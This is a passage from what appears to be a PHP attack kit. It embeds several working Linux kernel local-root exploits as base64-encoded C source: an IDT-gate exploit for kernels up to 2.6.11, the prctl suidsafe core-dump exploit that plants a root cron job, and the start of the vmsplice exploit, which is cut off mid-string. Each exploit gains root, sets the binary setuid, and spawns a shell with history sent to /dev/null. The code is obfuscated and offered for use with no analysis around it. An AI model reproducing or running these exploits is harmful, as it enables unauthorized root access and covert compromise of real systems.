CXVuc2lnbmVkICpidWYgPSBhbGxvY2EocGFnZW5yICogNDA5NiArIDMyKTsNCglidWZbKHBhZ2VucikgKiAxMDI0XSA9IE1LUE1EKGFkZHIpOw0KCWJ1ZlsocGFnZW5yKSAqIDEwMjQrMV0gPSAwOwkNCglidWZbKHBhZ2VucikgKiAxMDI0KzJdID0gTUtQTUQoYWRkcil8MHgwMDIwMDAwMDsNCglidWZbKHBhZ2VucikgKiAxMDI0KzNdID0gMDsJDQoJZml4aW50KCh2b2lkICopYnVmKTsNCglyZXR1cm4ga3dyaXRlKGJhc2UsICh2b2lkICopYnVmLCBwYWdlbnIgKiA0MDk2ICsgNCozKTsNCn0NCg0KDQpzdGF0aWMgdm9pZCANCmVycm9yKGludCBkKQ0Kew0KCXByaW50ZihLUkFETSBcInkzciA0MjIgMTIgbjA3IDNyMzM3IDNudVBoIVxcblwiIEtSQUQgXCJUcnkgaW5jcmVhc2UgbnJwYWdlcz9cXG5cIik7DQoJZXhpdCgxKTsNCn0NCg0KIAljaGFyICpiYXNoYXJndltdID0geyBLUkFEUFMxLCBOVUxMIH07DQoJY2hhciAqYmFzaGVudnBbXSA9IHsgCVwiVEVSTT1saW51eFwiLCBcIlBTMT1bXFxcXHVAXCJLUkFEUFMxXCIgXFxcXFddXFxcXCQgXCIsIFwiQkFTSF9ISVNUT1JZPS9kZXYvbnVsbFwiLA0KCQkJCQlcIkhJU1RPUlk9L2Rldi9udWxsXCIsIFwiaGlzdG9yeT0vZGV2L251bGxcIixcIkhJU1RGSUxFPS9kZXYvbnVsbFwiLA0KCQkJCQlcIlBBVEg9L2Jpbjovc2JpbjovdXNyL2JpbjovdXNyL3NiaW46L3Vzci9sb2NhbC9iaW46L3Vzci9sb2NhbC9zYmluXCIsIE5VTEwgfTsNCg0Kc3RhdGljIGludCANCmV4cGxvaXQodW5zaWduZWQga2VybmVsYmFzZSwgaW50IG5wYWdlcykNCnsNCglzdHJ1Y3QgaWR0ICppZHQ7DQoJc3RydWN0IGlkdHIgaWR0cjsNCg0KDQoNCglzaWduYWwoU0lHU0VHViwgZXJyb3IpOw0KCXNpZ25hbChTSUdCVVMsIGVycm9yKTsNCg0KDQoJLyogZ2V0IGlkdCBkZXNjcmlwdG9yIGFkZHIgKi8NCglhc20gKFwic2lkdCAlMFwiIDogXCI9bVwiIChpZHRyKSk7DQoJLyoNCgkgICogaWYgT1MgaW4gdm13YXJlICwgaWR0ci5iYXNlIGlzIG5vdCByaWdodCxwbGVhc2UgZml4IGl0DQoJICAqIFthbGVydDdATWFnaWNMaW51eCB+XSQgY2F0IC9ib290L1N5c3RlbS5tYXB8Z3JlcCBpZHRfdGFibGUNCgkgICogYzA0NjEwMDAgRCBpZHRfdGFibGUNCgkgICogLy9pZHRyLmJhc2UgPSAweGMwNDYxMDAwOw0KCSAgKi8NCgkNCglwcmludGYoXCJbK10gaWR0ci5iYXNlICVwICxiYXNlICVwXFxuXCIsKHZvaWQgKilpZHRyLmJhc2UgLCAodm9pZCAqKWtlcm5lbGJhc2UpOw0KCQ0KCWlmICggIWRlZmluZVBBRSApDQoJew0KCQltYXBfcHRlKGtlcm5lbGJhc2UsIG5wYWdlcywgaWR0ci5iYXNlIC0ga2VybmVsYmFzZSk7DQoJCS8vCWlkdCA9IHBhZT8odm9pZCAqKU1BUF9QQUU6KHZvaWQgKilNQVA7CQkNCgkJaWR0ID0gKHN0cnVjdCBpZHQgKilNQVA7DQoJfWVsc2UNCgl7DQoJCS8qIFRPRE86IHBzZSBkaXNhYmxlIGNhc2UgKi8NCgkJaWYgKCAhaGF2ZXBzZSkNCgkJCXByaW50ZihcIlshV2FyaW5nIV0gVE9ETzpDT05GSUdfWDg2X1BBRSBkZWZpbmUgLGJ1dCBjcHUgZmxhZyBubyBwc2VcXG5cIik7DQoJCQ0KCQltYXBfcG1lKGtlcm5lbGJhc2UsIG5wYWdlcywgaWR0ci5iYXNlIC0ga2VybmVsYmFzZSk7DQoJCWlkdCA9IChzdHJ1Y3QgaWR0ICopIGlkdHIuYmFzZTsNCgl9DQoNCiNpZiAwDQoJaW50ICogcCA9IChpbnQgKikgaWR0Ow0KCWludCBpOw0KCWZvciAoaT0wO2k8MTAyNDtpKysscCsrKQ0KCQlwcmludGYoIFwiKiAlcCAweCV4XFxuXCIscCwqcCk7DQoJZmZsdXNoKHN0ZG91dCk7DQojZW5kaWYNCg0KCS8qKg0KCSAgKiBjbGVhbnVwIHRoZSBzdHVmZiB0byBwcmV2ZW50IG90aGVycyBzcG90dGluZyB0aGUgZ2F0ZSANCgkgICogLSBtdXN0IGJlIGRvbmUgZnJvbSByaW5nIDAgDQoJICAqLw0KCWNsZWFyMSA9ICh2b2lkICopICZpZHRbMHg3Zl07DQoJcHJpbnRmKFwiWytdIGlkdFsweDdmXSBhZGRyICVwXFxuXCIsY2xlYXIxKTsNCg0KCWlmICggZXhwbG9pdHdheSA9PSAwKQ0KCXsNCgkJU0VUX0lEVF9HQVRFKGlkdFsweDdmXSwgMywgaWR0WzB4ODBdLnNlbCwgKCh1bnNpZ25lZCBsb25nKSAma2NvZGUpKTsNCgl9DQoJZWxzZSANCgl7DQoJCVNFVF9JRFRfR0FURShpZHRbMHg3Zl0sIDMsIGlkdFsweDgwXS5zZWwsICgodW5zaWduZWQgbG9uZykgJnN0dWIpKTsNCgl9DQoJDQoJLy9bMl0gU0VUX0lEVF9HQVRFKGlkdFsweDdmXSwgMywgaWR0WzB4ODBdLnNlbCwgKCh1bnNpZ25lZCBsb25nKSAmc3R1YikpOw0KCS8qKg0KCSAgKiBhbHNvIGNhbiB1c2UgWzJdIHN0dWIgZnVuY3Rpb24sYnV0IGl0IG1heSBjYXVzZSB0aGlzIG1lc3NhZ2UNCgkgICoNCgkgICoJU2VwIDExIDEzOjExOjU5IEFENCBrZXJuZWw6IERlYnVnOiBzbGVlcGluZyBmdW5jdGlvbiBjYWxsZWQgZnJvbSBpbnZhbGlkIGNvbnRleHQgYXQgaW5jbHVkZS9hc20vdWFjY2Vzcy5oOjUzMQ0KCSAgKglTZXAgMTEgMTM6MTE6NTkgQUQ0IGtlcm5lbDogaW5fYXRvbWljKCk6MFtleHBlY3RlZDogMF0sIGlycXNfZGlzYWJsZWQoKToxDQoJICAqCVNlcCAxMSAxMzoxMTo1OSBBRDQga2VybmVsOiAgWzxjMDExY2EzMD5dIF9fbWlnaHRfc2xlZXArMHg3ZC8weDg5DQoJICAqCVNlcCAxMSAxMzoxMTo1OSBBRDQga2VybmVsOiAgWzxjMDEyNzBiZD5dIHN5c19jYXBnZXQrMHgxZDUvMHgyMTYNCgkgICoJU2VwIDExIDEzOjExOjU5IEFENCBrZXJuZWw6ICBbPGMwMzAxYmZiPl0gc3lzY2FsbF9jYWxsKzB4Ny8weGINCgkgICoJU2VwIDExIDEzOjExOjU5IEFENCBrZXJuZWw6ICBbPGMwMTcwMDdiPl0gcGlwZV93cml0ZXYrMHgyNC8weDMyMA0KCSAgKglTZXAgMTEgMTM6MTE6NTkgQUQ0IGtlcm5lbDogIFs8YzAxNjE5YTQ+XSBmaWxwX2Nsb3NlKzB4NTkvMHg1Zg0KCSAgKg0KCSAgKi8NCg0KCS8qIGNhbGwgcmFpc2VfY2FwIG9yIGtlcm5lbCAqLw0KCWFzbSAoXCJpbnQgJDB4N2ZcIik7DQoJcHJpbnRmKEtSQURQIFwiajAwIDF1KGs3IGsxZCFcXG5cIik7DQoJc2V0cmVzdWlkKDAsIDAsIDApOw0KCXNldHJlc2dpZCgwLCAwLCAwKTsNCgljaGFyIGNtZGJ1ZlsxMDI0XTsNCglzbnByaW50ZihjbWRidWYsMTAyNCxcImNob3duIHJvb3QgJXM7Y2htb2QgK3MgJXNcIixwcm9nYXJndjAscHJvZ2FyZ3YwKTsNCglzeXN0ZW0oY21kYnVmKTsNCgkNCglleGVjdmUoXCIvYmluL3NoXCIsIGJhc2hhcmd2LCBiYXNoZW52cCk7DQoJZXhpdCgwKTsNCn0NCg0KDQoNCnN0YXRpYyB2b2lkIA0KdXNhZ2UoY2hhciAqbikNCnsNCgkJDQoJcHJpbnRmKFwiXFxuVXNhZ2U6ICVzXFxuXCIsbik7DQoJcHJpbnRmKFwiXFx0LXMgZm9yY2VkIGNwdSBmbGFnIHBzZSBcXG5cIik7DQoJcHJpbnRmKFwiXFx0LWEgZGVmaW5lIENPTkZJR19YODZfUEFFLGRlZmF1bHQgbm9uZVxcblwiKTsNCglwcmludGYoXCJcXHQtZSA8bnVtPiBoYXZlIHR3byBrZXJuZWwgY29kZSxkZWZhdWx0IDBcXG5cIik7DQoJcHJpbnRmKFwiXFx0LXAgPG51bT4gYWxsb2MgcGFnZXMoNGspICxkZWZhdWx0IDEuIEluY3JlYXNlIGZyb20gMSB0byA3XFxuXCINCgkJIFwiXFx0XFx0VGhlIGhpZ2hlciBudW1iZXIgdGhlIG1vcmUgbGlrZWx5IGl0IHdpbGwgY3Jhc2hcXG5cIik7DQoJcHJpbnRmKFwiXFx0LXQgPG51bT4gZGVmYXVsdCAwIFxcblwiDQoJCSAgXCJcXHRcXHQwIDpUSFJFQURfU0laRSBpcyA0MDk2O290aGVyd2lzZSBUSFJFQURfU0laRSBpcyA4MTkyXFxuXCIpOw0KCXByaW50ZihcIlxcblwiKTsNCglfZXhpdCgxKTsNCn0NCg0KDQovKnJlYWQgL3Byb2MvY3B1aW5mbyB0byBzZXQgIGhhdmVwc2UqLw0Kc3RhdGljIHZvaWQgDQpyZWFkX3Byb2Modm9pZCkNCnsNCiAgICAgICAgICAgIEZJTEUgKiBmcDsNCiAgICAgICAgICAgIGNoYXIgKiBsaW5lID0gTlVMTDsNCiAgICAgICAgICAgIHNpemVfdCBsZW4gPSAwOw0KICAgICAgICAgICAgc3NpemVfdCByZWFkOw0KCSAgICAgcHJpbnRmKFwiWytdIHRyeSBvcGVuIC9wcm9jL2NwdWluZm8gLi5cIik7DQogICAgICAgICAgICBmcCA9IGZvcGVuKFwiL3Byb2MvY3B1aW5mb1wiLCBcInJcIik7DQogICAgICAgICAgICBpZiAoZnAgPT0gTlVMTCkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgcHJpbnRmKFwiIGZhaWxlZCEhXFxuXCIpOw0KICAgICAgICAgICAgICAgICByZXR1cm47DQogICAgICAgICAgICB9DQoJICAgICBwcmludGYoXCIgb2shIVxcblwiKTsJDQoJCSANCgkgICAgIGludCBjcHVzID0gMDsJDQoJICAgICBpbnQgcHNlID0gMDsNCiAgICAgICAgICAgIHdoaWxlICgocmVhZCA9IGdldGxpbmUoJmxpbmUsICZsZW4sIGZwKSkgIT0gLTEpIA0KCQl7DQoNCgkJICAgaWYgKHN0cnN0cihsaW5lLFwiZmxhZ3NcIikpDQoJCSAgIHsNCgkJCWlmKHN0cnN0cihsaW5lICxcInBzZSBcIikpDQoJCQl7DQoJCQkJcHNlICsrOw0KCQkJfQ0KCQkgICB9DQoNCiAgICAgICAgICAgIH0NCgkgICAgIGZjbG9zZShmcCk7DQoJCSANCiAgICAgICAgICAgIGlmIChsaW5lKQ0KICAgICAgICAgICAgICAgICBmcmVlKGxpbmUpOw0KCQkJDQoJICAgICBpZiAoIHBzZSApDQoJCXsNCgkJCQlwcmludGYoXCJbK10gZmluZCBjcHUgZmxhZyBwc2UgaW4gL3Byb2MvY3B1aW5mb1xcblwiKTsNCgkJCQloYXZlcHNlID0gMTsNCgkgICAgIAl9DQoNCiAgICAgICAgICAgIHJldHVybiA7DQoNCn0NCg0Kc3RhdGljIHZvaWQgDQpnZXRfY29uZmlnKGludCBhYywgY2hhciAqKmF2KQ0Kew0KCQ0KCXVpZCA9IGdldHVpZCgpOw0KCXByb2dhcmd2MCA9IGF2WzBdOw0KDQoJaW50IHI7DQoJDQoJd2hpbGUoYWMpIHsNCgkJciA9IGdldG9wdChhYywgYXYsIFwiZTpwOnQ6YXNoXCIpOw0KCQkNCgkJaWYocjwwKSBicmVhazsNCg0KCQlzd2l0Y2gocikgew0KDQoJCQljYXNlIFwnc1wnIDoNCgkJCS8vcHNlDQoJCQkJaGF2ZXBzZSA9IDE7DQoJCQkJYnJlYWs7DQoNCgkJCWNhc2UgXCdhXCcgOg0KCQkJLy9kZWZpbmUgQ09ORklHX1g4Nl9QQUUNCgkJCQlkZWZpbmVQQUUgPSAxOw0KCQkJCWJyZWFrOw0KDQoJCQljYXNlIFwnZVwnIDoNCgkJCQlleHBsb2l0d2F5ID0gYXRvaShvcHRhcmcpOw0KCQkJCWlmKGV4cGxvaXR3YXk8MCkgZmF0YWwoXCJiYWQgZXhwbG9pdHdheSB2YWx1ZVwiKTsNCgkJCQlicmVhazsNCg0KCQkJY2FzZSBcJ3BcJyA6DQoJCQkJbnBhZ2VzID0gYXRvaShvcHRhcmcpOw0KCQkJCWJyZWFrOw0KCQkJY2FzZSBcJ3RcJyA6DQoJCQkJdGhyZWFkX3NpemUgPSBhdG9pKG9wdGFyZyk7DQoJCQkJDQoJCQkJYnJlYWs7CQkJCQ0KCQkJCQ0KCQkJY2FzZSBcJ2hcJyA6DQoJCQlkZWZhdWx0Og0KCQkJCXVzYWdlKGF2WzBdKTsNCgkJCQlicmVhazsNCgkJfQ0KCX0JDQoNCglUSFJFQURfU0laRV9NQVNLID0gKHRocmVhZF9zaXplPT0wKT8oLTQwOTYpOigtODE5Mik7DQoNCglyZWFkX3Byb2MoKTsNCn0NCg0Kc3RhdGljIHZvaWQgDQpwcmludF9jb25maWcodW5zaWduZWQgbG9uZyBrZXJuZWJhc2UpDQp7DQoJcHJpbnRmKFwiWytdIENPTkZJR19YODZfUEFFIDolc1xcblwiLAlkZWZpbmVQQUUgCT9cIm9rXCI6XCJub25lXCIpOw0KCXByaW50ZihcIlsrXSBDcHUgZmxhZzogcHNlICVzXFxuXCIsCQkJaGF2ZXBzZQkJP1wib2tcIjpcIm5vbmVcIik7CQ0KCXByaW50ZihcIlsrXSBFeHBsb2l0IFdheSA6ICVkXFxuXCIsCQlleHBsb2l0d2F5KTsNCglwcmludGYoXCJbK10gVXNlICVkIHBhZ2VzIChvbmUgcGFnZSBpcyA0SyApLHJld3JpdGUgMHglbHgtLSgweCVseCArIG4pXFxuXCIsDQoJCQlucGFnZXMsa2VybmViYXNlLGtlcm5lYmFzZStucGFnZXMqNCBrQik7DQoJcHJpbnRmKFwiWytdIHRocmVhZF9zaXplICVkICgwIDpUSFJFQURfU0laRSBpcyA0MDk2O290aGVyd2lzZSBUSFJFQURfU0laRSBpcyA4MTkyIFxcblwiLHRocmVhZF9zaXplKTsNCglmZmx1c2goc3Rkb3V0KTsNCn0NCg0KDQp2b2lkIHByZXBhcmUodm9pZCkNCnsNCiAgICBpZiAoZ2V0ZXVpZCgpID09IDApIA0KICAgIHsNCgkgc2V0cmVzdWlkKDAsIDAsIDApOw0KCSBzZXRyZXNnaWQoMCwgMCwgMCk7DQogICAgICAJIGV4ZWN2ZShcIi9iaW4vc2hcIiwgYmFzaGFyZ3YsIGJhc2hlbnZwKTsNCiAgICAgICAgZmF0YWwoXCJbLV0gVW5hYmxlIHRvIHNwYXduIHNoZWxsXCIpOw0KICAgIH0NCn0NCg0KaW50DQptYWluKGludCBhcmdjLCBjaGFyICoqYXJndikNCnsNCgljaGFyIGVhdGVyWzY1NTM2XTsNCgl1bnNpZ25lZCBsb25nIGtlcm5lbGJhc2U7DQoNCgkvKiB1bmxpbmsoYXJndlswXSk7ICovDQoJLy8gc3luYygpOw0KCQ0KCXByaW50ZihLUlMgXCIgXCJLUkFEUFMxXCIgLSA8PWxpbnV4IDIuNi4xMSBDUEwgMCBrZXJuZWwgZXhwbG9pdCBcIiBLUkUgXCJcXG5cIg0KCQlLUlMgXCJEaXNjb3ZlcmVkIEphbiAyMDA1IGJ5IHNkIDxzZEBmdWNrc2hlZXAub3JnPlwiIEtSRSBcIlxcblwiDQoJCUtSUyBcIk1vZGlmaWVkIDIwMDUvOSBieSBhbGVydDcgPGFsZXJ0N0B4Zm9jdXMub3JnPlwiIEtSRSBcIlxcblwiKTsNCg0KCWlmICggKHVuc2lnbmVkIGxvbmcpZWF0ZXIgPiAweGMwMDAwMDAwKQ0KCXsNCgkJcHJpbnRmKFwiWyFXYXJpbmchXSBUT0RPOnVzZSBzdGFjayA+IDB4YzAwMDAwMDAgXFxuXCIpOw0KCQlyZXR1cm4gMDsNCgl9DQoJDQoJcHJlcGFyZSgpOw0KCQ0KCWdldF9jb25maWcoYXJnYyxhcmd2KTsNCg0KCWtlcm5lbGJhc2UgPSh1bnNpZ25lZCBsb25nKWVhdGVyIDsNCglrZXJuZWxiYXNlICs9MHgwZmZmZmZmZjsNCglrZXJuZWxiYXNlICY9MHhmMDAwMDAwMDsNCgkNCglwcmludF9jb25maWcoa2VybmVsYmFzZSk7DQoNCglleHBsb2l0KGtlcm5lbGJhc2UsIG5wYWdlczwwPy1ucGFnZXM6bnBhZ2VzKTsNCg0KCXJldHVybiAwOw0KDQp9DQo=");

//Linux 2.6.13 - 2.6.17
$two_six[1] = base64_decode("LyogTGludXggPj0gMi42LjEzIHByY3RsIGtlcm5lbCBleHBsb2l0DQogKg0KICogKEMpIEp1bGllbiBUSU5ORVMNCiAqDQogKiBJZiB5b3UgcmVhZCB0aGUgQ2hhbmdlbG9nIGZyb20gMi42LjEzIHlvdVwndmUgcHJvYmFibHkgc2VlbjoNCiAqICBbUEFUQ0hdIHNldHVpZCBjb3JlIGR1bXANCiAqIA0KICogVGhpcyBwYXRjaCBtYWlubHkgYWRkcyBzdWlkc2FmZSB0byBzdWlkX2R1bXBhYmxlIHN5c2N0bCBidXQgYWxzbyBhIG5ldyBwZXIgcHJvY2VzcywNCiAqIHVzZXIgc2V0YWJsZSBhcmd1bWVudCB0byBQUl9TRVRfRFVNUEFCTEUuDQogKiANCiAqIFRoaXMgZmxhdyBhbGxvd3MgdXMgdG8gY3JlYXRlIGEgcm9vdCBvd25lZCBjb3JlZHVtcCBpbnRvIGFueSBkaXJlY3RvcnkuDQogKiBUaGlzIGlzIHRyaXZpYWxseSBleHBsb2l0YWJsZS4NCiAqDQogKi8NCg0KI2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy90aW1lLmg+DQojaW5jbHVkZSA8c3lzL3Jlc291cmNlLmg+DQojaW5jbHVkZSA8c3lzL3ByY3RsLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8c3RkaW8uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KI2luY2x1ZGUgPHNpZ25hbC5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPHRpbWUuaD4NCg0KI2RlZmluZSBDUk9ORCBcIi9ldGMvY3Jvbi5kXCINCiNkZWZpbmUgQlVGU0laRSAyMDQ4DQoNCg0Kc3RydWN0IHJsaW1pdCBteXJsaW1pdD17UkxJTV9JTkZJTklUWSwgUkxJTV9JTkZJTklUWX07DQoNCmNoYXIJY3JvbnRlbXBsYXRlW109DQpcIiMvZXRjL2Nyb24uZC9jb3JlIHN1aWRfZHVtcGFibGUgZXhwbG9pdFxcblwiDQpcIlNIRUxMPS9iaW4vc2hcXG5cIg0KXCJQQVRIPS91c3IvbG9jYWwvc2JpbjovdXNyL2xvY2FsL2Jpbjovc2JpbjovYmluOi91c3Ivc2JpbjovdXNyL2JpblxcblwiDQpcIiMlcyogKiAqICogKglyb290CSBjaG93biByb290OnJvb3QgJXMgJiYgY2htb2QgNDc1NSAlcyAmJiBybSAtcmYgJXMgJiYga2lsbCAtVVNSMSAlZFxcblwiOw0KDQpjaGFyCWNyb25zdHJpbmdbQlVGU0laRV07DQpjaGFyCWZuYW1lW0JVRlNJWkVdOw0KDQpzdHJ1Y3QgdGltZXZhbCB0ZTsNCg0Kdm9pZCBzaChpbnQgc24pIHsNCglleGVjbChmbmFtZSwgZm5hbWUsIChjaGFyICopIE5VTEwpOw0KfQ0KCQ0KDQppbnQJbWFpbihpbnQgYXJnYywgY2hhciAqYXJndltdKSB7DQoNCglpbnQgbncsIHBpZDsNCg0KCWlmIChnZXRldWlkKCkgPT0gMCkgew0KCQlwcmludGYoXCJbK10gZ2V0dGluZyByb290IHNoZWxsXFxuXCIpOw0KCQlzZXR1aWQoMCk7DQoJCXNldGdpZCgwKTsNCgkJaWYgKGV4ZWNsKFwiL2Jpbi9zaFwiLCBcIi9iaW4vc2hcIiwgKGNoYXIgKikgTlVMTCkpIHsNCgkJCXBlcnJvcihcIlstXSBleGVjbGVcIik7DQoJCQlyZXR1cm4gMTsNCgkJfQ0KCX0NCg0KCXByaW50ZihcIlxcbnByY3RsKCkgc3VpZHNhZmUgZXhwbG9pdFxcblxcbihDKSBKdWxpZW4gVElOTkVTXFxuXFxuXCIpOw0KDQoJLyogZ2V0IG91ciBmaWxlIG5hbWUgKi8NCglpZiAocmVhZGxpbmsoXCIvcHJvYy9zZWxmL2V4ZVwiLCBmbmFtZSwgc2l6ZW9mKGZuYW1lKSkgPT0gLTEpIHsNCgkJcGVycm9yKFwiWy1dIHJlYWRsaW5rXCIpOw0KCQlwcmludGYoXCJUaGlzIGlzIG5vdCBmYXRhbCwgcmV3cml0ZSB0aGUgZXhwbG9pdFxcblwiKTsNCgl9DQoNCglpZiAoc2lnbmFsKFNJR1VTUjEsIHNoKSA9PSBTSUdfRVJSKSB7DQoJCXBlcnJvcihcIlstXSBzaWduYWxcIik7DQoJCXJldHVybiAxOw0KCX0NCglwcmludGYoXCJbK10gSW5zdGFsbGVkIHNpZ25hbCBoYW5kbGVyXFxuXCIpOw0KDQoJLyogTGV0IHVzIGNyZWF0ZSBjb3JlIGZpbGVzICovDQoJc2V0cmxpbWl0KFJMSU1JVF9DT1JFLCAmbXlybGltaXQpOw0KCWlmIChjaGRpcihDUk9ORCkgPT0gLTEpIHsNCgkJcGVycm9yKFwiWy1dIGNoZGlyXCIpOw0KCQlyZXR1cm4gMTsNCgl9DQoNCgkvKiBleHBsb2l0IHRoZSBmbGF3ICovDQoJaWYgKHByY3RsKFBSX1NFVF9EVU1QQUJMRSwgMikgPT0gLTEpIHsNCgkJcGVycm9yKFwiWy1dIHBydGN0bFwiKTsNCgkJcHJpbnRmKFwiSXMgeW91IGtlcm5lbCB2ZXJzaW9uID49IDIuNi4xMyA/XFxuXCIpOw0KCQlyZXR1cm4gMTsNCgl9DQoNCglwcmludGYoXCJbK10gV2UgYXJlIHN1aWRzYWZlIGR1bXBhYmxlIVxcblwiKTsNCg0KCS8qIEZvcmdlIHRoZSBzdHJpbmcgZm9yIG91ciBjb3JlIGR1bXAgKi8NCgludz1zbnByaW50Zihjcm9uc3RyaW5nLCBzaXplb2YoY3JvbnN0cmluZyksIGNyb250ZW1wbGF0ZSwgXCJcXG5cIiwgZm5hbWUsIGZuYW1lLCBDUk9ORFwiL2NvcmVcIiwgZ2V0cGlkKCkpOw0KCWlmIChudyA+PSBzaXplb2YoY3JvbnN0cmluZykpIHsNCgkJcHJpbnRmKFwiWy1dIGNyb25zdHJpbmcgaXMgdG9vIHNtYWxsXFxuXCIpOw0KCQlyZXR1cm4gMTsNCgl9DQoJcHJpbnRmKFwiWytdIE1hbGljaW91cyBzdHJpbmcgZm9yZ2VkXFxuXCIpOw0KDQoJaWYgKChwaWQ9Zm9yaygpKSA9PSAtMSkgew0KCQlwZXJyb3IoXCJbLV0gZm9ya1wiKTsNCgkJcmV0dXJuIDE7DQoJfQ0KDQoJaWYgKHBpZCA9PSAwKSB7DQoJCS8qIFRoaXMgaXMgbm90IHRoZSBnb29kIHdheSB0byBkbyBpdCA7KSAqLw0KCQlzbGVlcCgxMjApOw0KCQlleGl0KDApOw0KCX0NCg0KCS8qIFNFR0ZBVUxUIHRoZSBjaGlsZCAqLw0KCXByaW50ZihcIlsrXSBTZWdmYXVsdGluZyBjaGlsZFxcblwiKTsNCglpZiAoa2lsbChwaWQsIDExKSA9PSAtMSkgew0KCQlwZXJyb3IoXCJbLV0ga2lsbFwiKTsNCgkJcmV0dXJuIDE7DQoJfQ0KCWlmIChnZXR0aW1lb2ZkYXkoJnRlLCBOVUxMKSA9PSAwKSANCgkJcHJpbnRmKFwiWytdIFdhaXRpbmcgZm9yIGV4cGxvaXQgdG8gc3VjY2VlZCAofiVsZCBzZWNvbmRzKVxcblwiLCA2MCAtICh0ZS50dl9zZWMlNjApKTsNCglzbGVlcCgxMjApOw0KDQoJcHJpbnRmKFwiWy1dIEl0IGxvb2tzIGxpa2UgdGhlIGV4cGxvaXQgZmFpbGVkXFxuXCIpOw0KDQoJcmV0dXJuIDE7DQp9DQo=");

//Linux 2.6.17 - 2.6.24.1
$two_six[2] = base64_decode("LyoNCiAqIGplc3NpY2FfYmllbF9uYWtlZF9pbl9teV9iZWQuYw0KICoNCiAqIERvdmFsaW0geiBrbmFqcHkgYSBjdW1pbSB6ZSBXb2p0YSB6YXMgbmVtYSBjbyByb2JpdCwga3VyYS4NCiAqIEdpemRpLCB0dXRhaiBtYXRlIGNvc3lrIG5hIGhyYW5pLCBreW0gYWogdG90b2sgdnlrZWNhLg0KICogU3Rlam5hayBqZSB0byBzdGFyZSBqYWsgY3lwIGEgYWogamFrZXN5ayByb3piaXRlLg0KICoNCiAqIExpbnV4IHZtc3BsaWNlIExvY2FsIFJvb3QgRXhwbG9pdA0KICogQnkgcWFheg0KICoNCiAqIExpbnV4IDIuNi4xNyAtIDIuNi4yNC4xDQogKg0KICogVGhpcyBpcyBxdWl0ZSBvbGQgY29kZSBhbmQgSSBoYWQgdG8gcmV3cml0ZSBpdCB0byBldmVuIGNvbXBpbGUuDQogKiBJdCBzaG91bGQgd29yayB3ZWxsLCBidXQgSSBkb25cJ3QgcmVtZWJlciBvcmlnaW5hbCBpbnRlbnQgb2YgYWxsDQogKiB0aGUgY29kZSwgc28gSVwnbSBub3QgMTAwJSBzdXJlIGFib3V0IGl0LiBZb3VcJ3ZlIGJlZW4gd2FybmVkIDspDQogKiANCiAqIC1zdGF0aWMgLVduby1mb3JtYXQgIA0KICovDQojZGVmaW5lIF9HTlVfU09VUkNFDQojaW5jbHVkZSA8c3RkaW8uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPHN0cmluZy5oPg0KI2luY2x1ZGUgPG1hbGxvYy5oPg0KI2luY2x1ZGUgPGxpbWl0cy5oPg0KI2luY2x1ZGUgPHNpZ25hbC5oPg0KI2luY2x1ZGUgPHVuaXN0ZC5oPg0KI2luY2x1ZGUgPHN5cy91aW8uaD4NCiNpbmNsdWRlIDxzeXMvbW1hbi5oPg0KI2luY2x1ZGUgPGFzbS9wYWdlLmg+DQojZGVmaW5lIF9fS0VSTkVMX18NCiNpbmNsdWRlIDxhc20vdW5pc3RkLmg+DQoNCiNkZWZpbmUgUElQRV9CVUZGRVJTCTE2DQojZGVmaW5lIFBHX2NvbXBvdW5kCTE0DQojZGVmaW5lIHVpbnQJCXVuc2lnbmVkIGludA0KI2RlZmluZSBzdGF0aWNfaW5saW5lCXN0YXRpYyBpbmxpbmUgX19hdHRyaWJ1dGVfXygoYWx3YXlzX2lubGluZSkpDQojZGVmaW5lIFNUQUNLKHgpCSh4ICsgc2l6ZW9mKHgpIC0gNDApDQoNCnN0cnVjdCBwYWdlIHsNCgl1bnNpZ25lZCBsb25nIGZsYWdzOw0KCWludCBjb3VudDsNCglpbnQgbWFwY291bnQ7DQoJdW5zaWduZWQgbG9uZyBwcml2YXRlOw0KCXZvaWQgKm1hcHBpbmc7DQoJdW5zaWduZWQgbG9uZyBpbmRleDsNCglzdHJ1Y3QgeyBsb25nIG5leHQsIHByZXY7IH0gbHJ1Ow0KfTsNCg0Kdm9pZAlleGl0X2NvZGUoKTsNCmNoYXIJZXhpdF9zdGFja1sxMDI0ICogMTAyNF07DQoNCnZvaWQJZGllKGNoYXIgKm1zZywgaW50IGVycikNCnsNCglwcmludGYoZXJyID8gXCJbLV0gJXM6ICVzXFxuXCIgOiBcIlstXSAlc1xcblwiLCBtc2csIHN0cmVycm9yKGVycikpOw0KCWZmbHVzaChzdGRvdXQpOw0KCWZmbHVzaChzdGRlcnIpOw0KCWV4aXQoMSk7DQp9DQoNCiNpZiBkZWZpbmVkIChfX2kzODZfXykNCg0KI2lmbmRlZiBfX05SX3Ztc3BsaWNlDQojZGVmaW5lIF9fTlJfdm1zcGxpY2UJMzE2DQojZW5kaWYNCg0KI2RlZmluZSBVU0VSX0NTCQkweDczDQojZGVmaW5lIFVTRVJfU1MJCTB4N2INCiNkZWZpbmUgVVNFUl9GTAkJMHgyNDYNCg0Kc3RhdGljX2lubGluZQ0Kdm9pZAlleGl0X2tlcm5lbCgpDQp7DQoJX19hc21fXyBfX3ZvbGF0aWxlX18gKA0KCVwibW92bCAlMCwgMHgxMCglJWVzcCkgO1wiDQoJXCJtb3ZsICUxLCAweDBjKCUlZXNwKSA7XCINCglcIm1vdmwgJTIsIDB4MDgoJSVlc3ApIDtcIg0KCVwibW92bCAlMywgMHgwNCglJWVzcCkgO1wiDQoJXCJtb3ZsICU0LCAweDAwKCUlZXNwKSA7XCINCglcImlyZXRcIg0KCTogOiBcImlcIiAoVVNFUl9TUyksIFwiclwiIChTVEFDSyhleGl0X3N0YWNrKSksIFwiaVwiIChVU0VSX0ZMKSwNCgkgICAgXCJpXCIgKFVTRVJfQ1MpLCBcInJcIiAoZXhpdF9jb2RlKQ0KCSk7DQp9DQoNCnN0YXRpY19pbmxpbmUNCnZvaWQgKglnZXRfY3VycmVudCgpDQp7DQoJdW5zaWduZWQgbG9uZyBjdXJyOw0KCV9fYXNtX18gX192b2xhdGlsZV9fICgNCglcIm1vdmwgJSVl